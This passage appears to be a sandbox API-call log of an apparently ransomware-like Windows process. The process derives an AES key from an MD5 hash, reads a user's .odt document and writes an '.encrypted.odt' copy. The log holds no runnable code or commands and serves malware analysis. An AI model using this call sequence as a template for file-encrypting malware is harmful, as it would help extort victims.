[0024.104] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.104] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.104] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.105] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.105] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.105] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.105] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.105] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.105] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.105] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.105] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.105] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.105] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.105] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.105] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.105] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0024.105] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.105] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.105] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.105] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.105] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.105] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0024.105] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.105] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0024.105] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.106] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.106] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0024.106] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.106] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.106] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.106] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.106] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.106] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.106] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.106] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.106] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.106] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.106] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.106] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.106] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0024.106] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.106] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.106] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.106] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.106] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.106] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.106] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.106] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.106] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.106] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.106] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.106] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.106] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.106] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.106] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.106] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.106] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.107] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.107] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.107] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0024.107] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.107] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.107] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.107] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.107] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0024.107] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.107] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.107] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.107] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.107] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.107] CryptHashData (hHash=0xe8f40625d0, pbData=0xe8f418b510, dwDataLen=0x20, dwFlags=0x1) returned 1 [0024.107] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.107] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.107] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.107] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.107] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.107] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.107] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.107] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.107] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f40625d0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0024.107] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.107] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.107] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.107] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.107] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.108] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.108] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0024.108] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.108] CryptDestroyHash (hHash=0xe8f40625d0) returned 1 [0024.108] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.109] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.109] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.109] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.109] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.109] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\6ESq8lZBvb5xjb1XLyrd.odt" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\6esq8lzbvb5xjb1xlyrd.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0024.109] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.109] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0024.109] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.109] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.110] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.110] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u")) returned 0x10 [0024.110] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\6ESq8lZBvb5xjb1XLyrd.encrypted.odt" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\6esq8lzbvb5xjb1xlyrd.encrypted.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0024.111] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.111] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.111] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.111] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.112] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0024.112] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0024.113] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x8f48, lpOverlapped=0x0) returned 1 [0024.114] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0024.117] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.117] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.117] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.117] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0024.118] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.118] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.118] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0024.118] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.118] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0024.118] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.119] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.119] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.119] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0024.119] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.119] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064d40, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064d40*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0024.119] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.119] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.119] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.119] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.119] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.119] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.119] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.119] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.119] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.119] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.119] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.120] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.120] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.120] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.120] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.120] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.120] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.120] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.120] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.120] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.120] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 